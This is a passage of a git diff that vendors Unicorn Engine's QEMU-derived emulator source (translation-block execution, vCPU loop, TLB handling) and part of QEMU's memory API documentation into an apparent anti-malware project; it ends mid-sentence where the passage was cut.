cc->cpu_exec_exit(cpu); + + // Unicorn: flush JIT cache to because emulation might stop in + // the middle of translation, thus generate incomplete code. + // TODO: optimize this for better performance + tb_flush(env); + + /* fail safe : never use current_cpu outside cpu_exec() */ + // uc->current_cpu = NULL; + + return ret; +} + +/* Execute a TB, and fix up the CPU state afterwards if necessary */ +static tcg_target_ulong cpu_tb_exec(CPUState *cpu, uint8_t *tb_ptr) +{ + CPUArchState *env = cpu->env_ptr; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + uintptr_t next_tb; + + next_tb = tcg_qemu_tb_exec(env, tb_ptr); + + if ((next_tb & TB_EXIT_MASK) > TB_EXIT_IDX1) { + /* We didn't start executing this TB (eg because the instruction + * counter hit zero); we must restore the guest PC to the address + * of the start of the TB. + */ + CPUClass *cc = CPU_GET_CLASS(env->uc, cpu); + TranslationBlock *tb = (TranslationBlock *)(next_tb & ~TB_EXIT_MASK); + + /* Both set_pc() & synchronize_fromtb() can be ignored when code tracing hook is installed, + * or timer mode is in effect, since these already fix the PC. + */ + if (!HOOK_EXISTS(env->uc, UC_HOOK_CODE) && !env->uc->timeout) { + if (cc->synchronize_from_tb) { + // avoid sync twice when helper_uc_tracecode() already did this. + if (env->uc->emu_counter <= env->uc->emu_count && + !env->uc->stop_request && !env->uc->quit_request) + cc->synchronize_from_tb(cpu, tb); + } else { + assert(cc->set_pc); + // avoid sync twice when helper_uc_tracecode() already did this. + if (env->uc->emu_counter <= env->uc->emu_count && + !env->uc->stop_request && !env->uc->quit_request) + cc->set_pc(cpu, tb->pc); + } + } + } + + if ((next_tb & TB_EXIT_MASK) == TB_EXIT_REQUESTED) { + /* We were asked to stop executing TBs (probably a pending + * interrupt. We've now stopped, so clear the flag. + */ + cpu->tcg_exit_req = 0; + } + + return next_tb; +} + +static TranslationBlock *tb_find_slow(CPUArchState *env, target_ulong pc, + target_ulong cs_base, uint64_t flags) // qq +{ + CPUState *cpu = ENV_GET_CPU(env); + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TranslationBlock *tb, **ptb1; + unsigned int h; + tb_page_addr_t phys_pc, phys_page1; + target_ulong virt_page2; + + tcg_ctx->tb_ctx.tb_invalidated_flag = 0; + + /* find translated block using physical mappings */ + phys_pc = get_page_addr_code(env, pc); // qq + if (phys_pc == -1) { // invalid code? + return NULL; + } + phys_page1 = phys_pc & TARGET_PAGE_MASK; + h = tb_phys_hash_func(phys_pc); + ptb1 = &tcg_ctx->tb_ctx.tb_phys_hash[h]; + for(;;) { + tb = *ptb1; + if (!tb) + goto not_found; + if (tb->pc == pc && + tb->page_addr[0] == phys_page1 && + tb->cs_base == cs_base && + tb->flags == flags) { + /* check next page if needed */ + if (tb->page_addr[1] != -1) { + tb_page_addr_t phys_page2; + + virt_page2 = (pc & TARGET_PAGE_MASK) + + TARGET_PAGE_SIZE; + phys_page2 = get_page_addr_code(env, virt_page2); + if (tb->page_addr[1] == phys_page2) + goto found; + } else { + goto found; + } + } + ptb1 = &tb->phys_hash_next; + } +not_found: + /* if no translated code available, then translate it now */ + tb = tb_gen_code(cpu, pc, cs_base, (int)flags, 0); // qq + if (tb == NULL) { + return NULL; + } + +found: + /* Move the last found TB to the head of the list */ + if (likely(*ptb1)) { + *ptb1 = tb->phys_hash_next; + tb->phys_hash_next = tcg_ctx->tb_ctx.tb_phys_hash[h]; + tcg_ctx->tb_ctx.tb_phys_hash[h] = tb; + } + /* we add the TB in the virtual pc hash table */ + cpu->tb_jmp_cache[tb_jmp_cache_hash_func(pc)] = tb; + return tb; +} + +static TranslationBlock *tb_find_fast(CPUArchState *env) // qq +{ + CPUState *cpu = ENV_GET_CPU(env); + TranslationBlock *tb; + target_ulong cs_base, pc; + int flags; + + /* we record a subset of the CPU state. It will + always be the same before a given translated block + is executed. */ + cpu_get_tb_cpu_state(env, &pc, &cs_base, &flags); + tb = cpu->tb_jmp_cache[tb_jmp_cache_hash_func(pc)]; + if (unlikely(!tb || tb->pc != pc || tb->cs_base != cs_base || + tb->flags != flags)) { + tb = tb_find_slow(env, pc, cs_base, flags); // qq + } + return tb; +} + +static void cpu_handle_debug_exception(CPUArchState *env) +{ + CPUState *cpu = ENV_GET_CPU(env); + CPUClass *cc = CPU_GET_CLASS(env->uc, cpu); + CPUWatchpoint *wp; + + if (!cpu->watchpoint_hit) { + QTAILQ_FOREACH(wp, &cpu->watchpoints, entry) { + wp->flags &= ~BP_WATCHPOINT_HIT; + } + } + + cc->debug_excp_handler(cpu); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/cpus.c b/ai_anti_malware/unicorn/unicorn-master/qemu/cpus.c new file mode 100644 index 0000000..28509d5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/cpus.c @@ -0,0 +1,213 @@ +/* + * QEMU System Emulator + * + * Copyright (c) 2003-2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +/* Needed early for CONFIG_BSD etc. */ +#include "config-host.h" +#include "sysemu/sysemu.h" +#include "sysemu/cpus.h" +#include "qemu/thread.h" + +#include "exec/address-spaces.h" // debug, can be removed later + +#include "uc_priv.h" + +static bool cpu_can_run(CPUState *cpu); +static void cpu_handle_guest_debug(CPUState *cpu); +static int tcg_cpu_exec(struct uc_struct *uc, CPUArchState *env); +static bool tcg_exec_all(struct uc_struct* uc); +static int qemu_tcg_init_vcpu(CPUState *cpu); +static void qemu_tcg_cpu_loop(struct uc_struct *uc); + +int vm_start(struct uc_struct* uc) +{ + if (resume_all_vcpus(uc)) { + return -1; + } + return 0; +} + +bool cpu_is_stopped(CPUState *cpu) +{ + return cpu->stopped; +} + +void run_on_cpu(CPUState *cpu, void (*func)(void *data), void *data) +{ + func(data); +} + +int resume_all_vcpus(struct uc_struct *uc) +{ + CPUState *cpu = uc->cpu; + // Fix call multiple time (vu). + // We have to check whether this is the second time, then reset all CPU. + if (!cpu->created) { + cpu->created = true; + cpu->halted = 0; + if (qemu_init_vcpu(cpu)) + return -1; + } + + cpu->exit_request = 0; + + //qemu_clock_enable(QEMU_CLOCK_VIRTUAL, true); + cpu_resume(cpu); + qemu_tcg_cpu_loop(uc); + + return 0; +} + +int qemu_init_vcpu(CPUState *cpu) +{ + cpu->nr_cores = smp_cores; + cpu->nr_threads = smp_threads; + cpu->stopped = true; + + if (tcg_enabled(cpu->uc)) + return qemu_tcg_init_vcpu(cpu); + + return 0; +} + +static void qemu_tcg_cpu_loop(struct uc_struct *uc) +{ + CPUState *cpu = uc->cpu; + + //qemu_tcg_init_cpu_signals(); + + cpu->created = true; + + while (1) { + if (tcg_exec_all(uc)) + break; + } + + cpu->created = false; +} + +static int qemu_tcg_init_vcpu(CPUState *cpu) +{ + tcg_cpu_address_space_init(cpu, cpu->as); + + return 0; +} + +static int tcg_cpu_exec(struct uc_struct *uc, CPUArchState *env) +{ + return cpu_exec(uc, env); +} + +static bool tcg_exec_all(struct uc_struct* uc) +{ + int r; + bool finish = false; + while (!uc->exit_request) { + CPUState *cpu = uc->cpu; + CPUArchState *env = cpu->env_ptr; + + //qemu_clock_enable(QEMU_CLOCK_VIRTUAL, + // (cpu->singlestep_enabled & SSTEP_NOTIMER) == 0); + if (cpu_can_run(cpu)) { + uc->quit_request = false; + r = tcg_cpu_exec(uc, env); + + // quit current TB but continue emulating? + if (uc->quit_request) { + // reset stop_request + uc->stop_request = false; + } else if (uc->stop_request) { + //printf(">>> got STOP request!!!\n"); + finish = true; + break; + } + + // save invalid memory access error & quit + if (env->invalid_error) { + // printf(">>> invalid memory accessed, STOP = %u!!!\n", env->invalid_error); + uc->invalid_addr = env->invalid_addr; + uc->invalid_error = env->invalid_error; + finish = true; + break; + } + + // printf(">>> stop with r = %x, HLT=%x\n", r, EXCP_HLT); + if (r == EXCP_DEBUG) { + cpu_handle_guest_debug(cpu); + break; + } + if (r == EXCP_HLT) { + //printf(">>> got HLT!!!\n"); + finish = true; + break; + } + } else if (cpu->stop || cpu->stopped) { + // printf(">>> got stopped!!!\n"); + break; + } + } + uc->exit_request = 0; + + return finish; +} + +static bool cpu_can_run(CPUState *cpu) +{ + if (cpu->stop) { + return false; + } + if (cpu_is_stopped(cpu)) { + return false; + } + return true; +} + +static void cpu_handle_guest_debug(CPUState *cpu) +{ + cpu->stopped = true; +} + +#if 0 +#ifndef _WIN32 +static void qemu_tcg_init_cpu_signals(void) +{ + sigset_t set; + struct sigaction sigact; + + memset(&sigact, 0, sizeof(sigact)); + sigact.sa_handler = cpu_signal; + sigaction(SIG_IPI, &sigact, NULL); + + sigemptyset(&set); + sigaddset(&set, SIG_IPI); + pthread_sigmask(SIG_UNBLOCK, &set, NULL); +} +#else /* _WIN32 */ +static void qemu_tcg_init_cpu_signals(void) +{ +} +#endif /* _WIN32 */ +#endif + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/cputlb.c b/ai_anti_malware/unicorn/unicorn-master/qemu/cputlb.c new file mode 100644 index 0000000..fd0bb80 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/cputlb.c @@ -0,0 +1,426 @@ +/* + * Common CPU TLB handling + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "config.h" +#include "cpu.h" +#include "exec/exec-all.h" +#include "exec/memory.h" +#include "exec/address-spaces.h" +#include "exec/cpu_ldst.h" + +#include "exec/cputlb.h" + +#include "exec/memory-internal.h" +#include "exec/ram_addr.h" +#include "tcg/tcg.h" + +#include "uc_priv.h" + +//#define DEBUG_TLB +//#define DEBUG_TLB_CHECK + +static void tlb_flush_entry(CPUTLBEntry *tlb_entry, target_ulong addr); +static bool tlb_is_dirty_ram(CPUTLBEntry *tlbe); +static bool qemu_ram_addr_from_host_nofail(struct uc_struct *uc, void *ptr, ram_addr_t *addr); +static void tlb_add_large_page(CPUArchState *env, target_ulong vaddr, + target_ulong size); +static void tlb_set_dirty1(CPUTLBEntry *tlb_entry, target_ulong vaddr); + +/* statistics */ +//int tlb_flush_count; + +/* NOTE: + * If flush_global is true (the usual case), flush all tlb entries. + * If flush_global is false, flush (at least) all tlb entries not + * marked global. + * + * Since QEMU doesn't currently implement a global/not-global flag + * for tlb entries, at the moment tlb_flush() will also flush all + * tlb entries in the flush_global == false case. This is OK because + * CPU architectures generally permit an implementation to drop + * entries from the TLB at any time, so flushing more entries than + * required is only an efficiency issue, not a correctness issue. + */ +void tlb_flush(CPUState *cpu, int flush_global) +{ + CPUArchState *env = cpu->env_ptr; + +#if defined(DEBUG_TLB) + printf("tlb_flush:\n"); +#endif + /* must reset current TB so that interrupts cannot modify the + links while we are modifying them */ + cpu->current_tb = NULL; + + memset(env->tlb_table, -1, sizeof(env->tlb_table)); + memset(env->tlb_v_table, -1, sizeof(env->tlb_v_table)); + memset(cpu->tb_jmp_cache, 0, sizeof(cpu->tb_jmp_cache)); + + env->vtlb_index = 0; + env->tlb_flush_addr = -1; + env->tlb_flush_mask = 0; + //tlb_flush_count++; +} + +void tlb_flush_page(CPUState *cpu, target_ulong addr) +{ + CPUArchState *env = cpu->env_ptr; + int i; + int mmu_idx; + +#if defined(DEBUG_TLB) + printf("tlb_flush_page: " TARGET_FMT_lx "\n", addr); +#endif + /* Check if we need to flush due to large pages. */ + if ((addr & env->tlb_flush_mask) == env->tlb_flush_addr) { +#if defined(DEBUG_TLB) + printf("tlb_flush_page: forced full flush (" + TARGET_FMT_lx "/" TARGET_FMT_lx ")\n", + env->tlb_flush_addr, env->tlb_flush_mask); +#endif + tlb_flush(cpu, 1); + return; + } + /* must reset current TB so that interrupts cannot modify the + links while we are modifying them */ + cpu->current_tb = NULL; + + addr &= TARGET_PAGE_MASK; + i = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) { + tlb_flush_entry(&env->tlb_table[mmu_idx][i], addr); + } + + /* check whether there are entries that need to be flushed in the vtlb */ + for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) { + int k; + for (k = 0; k < CPU_VTLB_SIZE; k++) { + tlb_flush_entry(&env->tlb_v_table[mmu_idx][k], addr); + } + } + + tb_flush_jmp_cache(cpu, addr); +} + +/* update the TLBs so that writes to code in the virtual page 'addr' + can be detected */ +void tlb_protect_code(struct uc_struct *uc, ram_addr_t ram_addr) +{ + cpu_physical_memory_reset_dirty(uc, ram_addr, TARGET_PAGE_SIZE, + DIRTY_MEMORY_CODE); +} + +/* update the TLB so that writes in physical page 'phys_addr' are no longer + tested for self modifying code */ +void tlb_unprotect_code_phys(CPUState *cpu, ram_addr_t ram_addr, + target_ulong vaddr) +{ + cpu_physical_memory_set_dirty_flag(cpu->uc, ram_addr, DIRTY_MEMORY_CODE); +} + +void tlb_reset_dirty_range(CPUTLBEntry *tlb_entry, uintptr_t start, + uintptr_t length) +{ + uintptr_t addr; + + if (tlb_is_dirty_ram(tlb_entry)) { + addr = (tlb_entry->addr_write & TARGET_PAGE_MASK) + tlb_entry->addend; + if ((addr - start) < length) { + tlb_entry->addr_write |= TLB_NOTDIRTY; + } + } +} + +void cpu_tlb_reset_dirty_all(struct uc_struct *uc, + ram_addr_t start1, ram_addr_t length) +{ + CPUState *cpu = uc->cpu; + CPUArchState *env; + + int mmu_idx; + + env = cpu->env_ptr; + for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) { + unsigned int i; + + for (i = 0; i < CPU_TLB_SIZE; i++) { + tlb_reset_dirty_range(&env->tlb_table[mmu_idx][i], + start1, length); + } + + for (i = 0; i < CPU_VTLB_SIZE; i++) { + tlb_reset_dirty_range(&env->tlb_v_table[mmu_idx][i], + start1, length); + } + } +} + +/* update the TLB corresponding to virtual page vaddr + so that it is no longer dirty */ +void tlb_set_dirty(CPUArchState *env, target_ulong vaddr) +{ + int i; + int mmu_idx; + + vaddr &= TARGET_PAGE_MASK; + i = (vaddr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) { + tlb_set_dirty1(&env->tlb_table[mmu_idx][i], vaddr); + } + + for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) { + int k; + for (k = 0; k < CPU_VTLB_SIZE; k++) { + tlb_set_dirty1(&env->tlb_v_table[mmu_idx][k], vaddr); + } + } +} + + +/* Add a new TLB entry. At most one entry for a given virtual address + is permitted. Only a single TARGET_PAGE_SIZE region is mapped, the + supplied size is only used by tlb_flush_page. */ +void tlb_set_page(CPUState *cpu, target_ulong vaddr, + hwaddr paddr, int prot, + int mmu_idx, target_ulong size) +{ + CPUArchState *env = cpu->env_ptr; + MemoryRegionSection *section; + unsigned int index; + target_ulong address; + target_ulong code_address; + uintptr_t addend; + CPUTLBEntry *te; + hwaddr iotlb, xlat, sz; + unsigned vidx = env->vtlb_index++ % CPU_VTLB_SIZE; + + assert(size >= TARGET_PAGE_SIZE); + if (size != TARGET_PAGE_SIZE) { + tlb_add_large_page(env, vaddr, size); + } + + sz = size; + section = address_space_translate_for_iotlb(cpu->as, paddr, + &xlat, &sz); + assert(sz >= TARGET_PAGE_SIZE); + +#if defined(DEBUG_TLB) + printf("tlb_set_page: vaddr=" TARGET_FMT_lx " paddr=0x" TARGET_FMT_plx + " prot=%x idx=%d\n", + vaddr, paddr, prot, mmu_idx); +#endif + + address = vaddr; + if (!memory_region_is_ram(section->mr) && !memory_region_is_romd(section->mr)) { + /* IO memory case */ + address |= TLB_MMIO; + addend = 0; + } else { + /* TLB_MMIO for rom/romd handled below */ + addend = (uintptr_t)((char*)memory_region_get_ram_ptr(section->mr) + xlat); + } + + code_address = address; + iotlb = memory_region_section_get_iotlb(cpu, section, vaddr, paddr, xlat, + prot, &address); + + index = (vaddr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + te = &env->tlb_table[mmu_idx][index]; + + /* do not discard the translation in te, evict it into a victim tlb */ + env->tlb_v_table[mmu_idx][vidx] = *te; + env->iotlb_v[mmu_idx][vidx] = env->iotlb[mmu_idx][index]; + + /* refill the tlb */ + env->iotlb[mmu_idx][index] = iotlb - vaddr; + te->addend = (uintptr_t)(addend - vaddr); + if (prot & PAGE_READ) { + te->addr_read = address; + } else { + te->addr_read = -1; + } + + if (prot & PAGE_EXEC) { + te->addr_code = code_address; + } else { + te->addr_code = -1; + } + if (prot & PAGE_WRITE) { + if ((memory_region_is_ram(section->mr) && section->readonly) + || memory_region_is_romd(section->mr)) { + /* Write access calls the I/O callback. */ + te->addr_write = address | TLB_MMIO; + } else if (memory_region_is_ram(section->mr) + && cpu_physical_memory_is_clean(cpu->uc, (ram_addr_t)(section->mr->ram_addr + + xlat))) { + te->addr_write = address | TLB_NOTDIRTY; + } else { + te->addr_write = address; + } + } else { + te->addr_write = -1; + } +} + +/* NOTE: this function can trigger an exception */ +/* NOTE2: the returned address is not exactly the physical address: it + * is actually a ram_addr_t (in system mode; the user mode emulation + * version of this function returns a guest virtual address). + */ +tb_page_addr_t get_page_addr_code(CPUArchState *env1, target_ulong addr) +{ + int mmu_idx, page_index, pd; + void *p; + MemoryRegion *mr; + ram_addr_t ram_addr; + CPUState *cpu = ENV_GET_CPU(env1); + + page_index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + mmu_idx = cpu_mmu_index(env1); + + if ((mmu_idx < 0) || (mmu_idx >= NB_MMU_MODES)) { + return -1; + } + + if (unlikely(env1->tlb_table[mmu_idx][page_index].addr_code != + (addr & TARGET_PAGE_MASK))) { + cpu_ldub_code(env1, addr); + //check for NX related error from softmmu + if (env1->invalid_error == UC_ERR_FETCH_PROT) { + return -1; + } + } + pd = env1->iotlb[mmu_idx][page_index] & ~TARGET_PAGE_MASK; + mr = iotlb_to_region(cpu->as, pd); + if (memory_region_is_unassigned(cpu->uc, mr)) { + CPUClass *cc = CPU_GET_CLASS(env1->uc, cpu); + + if (cc->do_unassigned_access) { + cc->do_unassigned_access(cpu, addr, false, true, 0, 4); + } else { + //cpu_abort(cpu, "Trying to execute code outside RAM or ROM at 0x" + // TARGET_FMT_lx "\n", addr); // qq + env1->invalid_addr = addr; + env1->invalid_error = UC_ERR_FETCH_UNMAPPED; + return -1; + } + } + p = (void *)((uintptr_t)addr + env1->tlb_table[mmu_idx][page_index].addend); + if (!qemu_ram_addr_from_host_nofail(cpu->uc, p, &ram_addr)) { + env1->invalid_addr = addr; + env1->invalid_error = UC_ERR_FETCH_UNMAPPED; + return -1; + } else + return ram_addr; +} + +static bool qemu_ram_addr_from_host_nofail(struct uc_struct *uc, void *ptr, ram_addr_t *ram_addr) +{ + if (qemu_ram_addr_from_host(uc, ptr, ram_addr) == NULL) { + // fprintf(stderr, "Bad ram pointer %p\n", ptr); + return false; + } + + return true; +} + +static void tlb_set_dirty1(CPUTLBEntry *tlb_entry, target_ulong vaddr) +{ + if (tlb_entry->addr_write == (vaddr | TLB_NOTDIRTY)) { + tlb_entry->addr_write = vaddr; + } +} + +/* Our TLB does not support large pages, so remember the area covered by + large pages and trigger a full TLB flush if these are invalidated. */ +static void tlb_add_large_page(CPUArchState *env, target_ulong vaddr, + target_ulong size) +{ + target_ulong mask = ~(size - 1); + + if (env->tlb_flush_addr == (target_ulong)-1) { + env->tlb_flush_addr = vaddr & mask; + env->tlb_flush_mask = mask; + return; + } + /* Extend the existing region to include the new page. + This is a compromise between unnecessary flushes and the cost + of maintaining a full variable size TLB. */ + mask &= env->tlb_flush_mask; + while (((env->tlb_flush_addr ^ vaddr) & mask) != 0) { + mask <<= 1; + } + env->tlb_flush_addr &= mask; + env->tlb_flush_mask = mask; +} + +static bool tlb_is_dirty_ram(CPUTLBEntry *tlbe) +{ + return (tlbe->addr_write & (TLB_INVALID_MASK|TLB_MMIO|TLB_NOTDIRTY)) == 0; +} + + +static void tlb_flush_entry(CPUTLBEntry *tlb_entry, target_ulong addr) +{ + if (addr == (tlb_entry->addr_read & + (TARGET_PAGE_MASK | TLB_INVALID_MASK)) || + addr == (tlb_entry->addr_write & + (TARGET_PAGE_MASK | TLB_INVALID_MASK)) || + addr == (tlb_entry->addr_code & + (TARGET_PAGE_MASK | TLB_INVALID_MASK))) { + memset(tlb_entry, -1, sizeof(*tlb_entry)); + } +} + + +#define MMUSUFFIX _mmu + +#define SHIFT 0 +#include "softmmu_template.h" + +#define SHIFT 1 +#include "softmmu_template.h" + +#define SHIFT 2 +#include "softmmu_template.h" + +#define SHIFT 3 +#include "softmmu_template.h" +#undef MMUSUFFIX + +#define MMUSUFFIX _cmmu +#undef GETPC_ADJ +#define GETPC_ADJ 0 +#undef GETRA +#define GETRA() ((uintptr_t)0) +#define SOFTMMU_CODE_ACCESS + +#define SHIFT 0 +#include "softmmu_template.h" + +#define SHIFT 1 +#include "softmmu_template.h" + +#define SHIFT 2 +#include "softmmu_template.h" + +#define SHIFT 3 +#include "softmmu_template.h" diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64eb-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64eb-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/arm-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/arm-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/armeb-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/armeb-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/m68k-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/m68k-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64el-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mips64el-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mipsel-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/mipsel-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc64-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/sparc64-softmmu.mak new file mode 100644 index 0000000..e69de29 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/x86_64-softmmu.mak b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/x86_64-softmmu.mak new file mode 100644 index 0000000..6826a92 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/x86_64-softmmu.mak @@ -0,0 +1,3 @@ +# Default configuration for x86_64-softmmu + +CONFIG_APIC=y diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/docs/memory.txt b/ai_anti_malware/unicorn/unicorn-master/qemu/docs/memory.txt new file mode 100644 index 0000000..b12f1f0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/docs/memory.txt @@ -0,0 +1,244 @@ +The memory API +============== + +The memory API models the memory and I/O buses and controllers of a QEMU +machine. It attempts to allow modelling of: + + - ordinary RAM + - memory-mapped I/O (MMIO) + - memory controllers that can dynamically reroute physical memory regions + to different destinations + +The memory model provides support for + + - tracking RAM changes by the guest + - setting up coalesced memory for kvm + - setting up ioeventfd regions for kvm + +Memory is modelled as an acyclic graph of MemoryRegion objects. Sinks +(leaves) are RAM and MMIO regions, while other nodes represent +buses, memory controllers, and memory regions that have been rerouted. + +In addition to MemoryRegion objects, the memory API provides AddressSpace +objects for every root and possibly for intermediate MemoryRegions too. +These represent memory as seen from the CPU or a device's viewpoint. + +Types of regions +---------------- + +There are four types of memory regions (all represented by a single C type +MemoryRegion): + +- RAM: a RAM region is simply a range of host memory that can be made available + to the guest. + +- MMIO: a range of guest memory that is implemented by host callbacks; + each read or write causes a callback to be called on the host. + +- container: a container simply includes other memory regions, each at + a different offset. Containers are useful for grouping several regions + into one unit. For example, a PCI BAR may be composed of a RAM region + and an MMIO region. + + A container's subregions are usually non-overlapping. In some cases it is + useful to have overlapping regions; for example a memory controller that + can overlay a subregion of RAM with MMIO or ROM, or a PCI controller + that does not prevent card from claiming overlapping BARs. + +- alias: a subsection of another region. Aliases allow a region to be + split apart into discontiguous regions. Examples of uses are memory banks + used when the guest address space is smaller than the amount of RAM + addressed, or a memory controller that splits main memory to expose a "PCI + hole". Aliases may point to any type of region, including other aliases, + but an alias may not point back to itself, directly or indirectly. + +It is valid to add subregions to a region which is not a pure container +(that is, to an MMIO, RAM or ROM region). This means that the region +will act like a container, except that any addresses within the container's +region which are not claimed by any subregion are handled by the +container itself (ie by its MMIO callbacks or RAM backing). However +it is generally possible to achieve the same effect with a pure container +one of whose subregions is a low priority "background" region covering +the whole address range; this is often clearer and is preferred. +Subregions cannot be added to an alias region. + +Region names +------------ + +Regions are assigned names by the constructor. For most regions these are +only used for debugging purposes, but RAM regions also use the name to identify +live migration sections. This means that RAM region names need to have ABI +stability. + +Region lifecycle +---------------- + +A region is created by one of the constructor functions (memory_region_init*()) +and attached to an object. It is then destroyed by object_unparent() or simply +when the parent object dies. + +In between, a region can be added to an address space +by using memory_region_add_subregion() and removed using +memory_region_del_subregion(). Destroying the region implicitly +removes the region from the address space. + +Region attributes may be changed at any point; they take effect once +the region becomes exposed to the guest. + +Overlapping regions and priority +-------------------------------- +Usually, regions may not overlap each other; a memory address decodes into +exactly one target. In some cases it is useful to allow regions to overlap, +and sometimes to control which of an overlapping regions is visible to the +guest. This is done with memory_region_add_subregion_overlap(), which +allows the region to overlap any other region in the same container, and +specifies a priority that allows the core to decide which of two regions at +the same address are visible (highest wins). +Priority values are signed, and the default value is zero. This means that +you can use memory_region_add_subregion_overlap() both to specify a region +that must sit 'above' any others (with a positive priority) and also a +background region that sits 'below' others (with a negative priority). + +If the higher priority region in an overlap is a container or alias, then +the lower priority region will appear in any "holes" that the higher priority +region has left by not mapping subregions to that area of its address range. +(This applies recursively -- if the subregions are themselves containers or +aliases that leave holes then the lower priority region will appear in these +holes too.) + +For example, suppose we have a container A of size 0x8000 with two subregions +B and C. B is a container mapped at 0x2000, size 0x4000, priority 1; C is +an MMIO region mapped at 0x0, size 0x6000, priority 2. B currently has two +of its own subregions: D of size 0x1000 at offset 0 and E of size 0x1000 at +offset 0x2000. As a diagram: + + 0 1000 2000 3000 4000 5000 6000 7000 8000 + |------|------|------|------|------|------|------|-------| + A: [ ] + C: [CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC] + B: [ ] + D: [DDDDD] + E: [EEEEE] + +The regions that will be seen within this address range then are: + [CCCCCCCCCCCC][DDDDD][CCCCC][EEEEE][CCCCC] + +Since B has higher priority than C, its subregions appear in the flat map +even where they overlap with C. In ranges where B has not mapped anything +C's region appears. + +If B had provided its own MMIO operations (ie it was not a pure container) +then these would be used for any addresses in its range not handled by +D or E, and the result would be: + [CCCCCCCCCCCC][DDDDD][BBBBB][EEEEE][BBBBB] + +Priority values are local to a container, because the priorities of two +regions are only compared when they are both children of the same container. +This means that the device in charge of the container (typically modelling +a bus or a memory controller) can use them to manage the interaction of +its child regions without any side effects on other 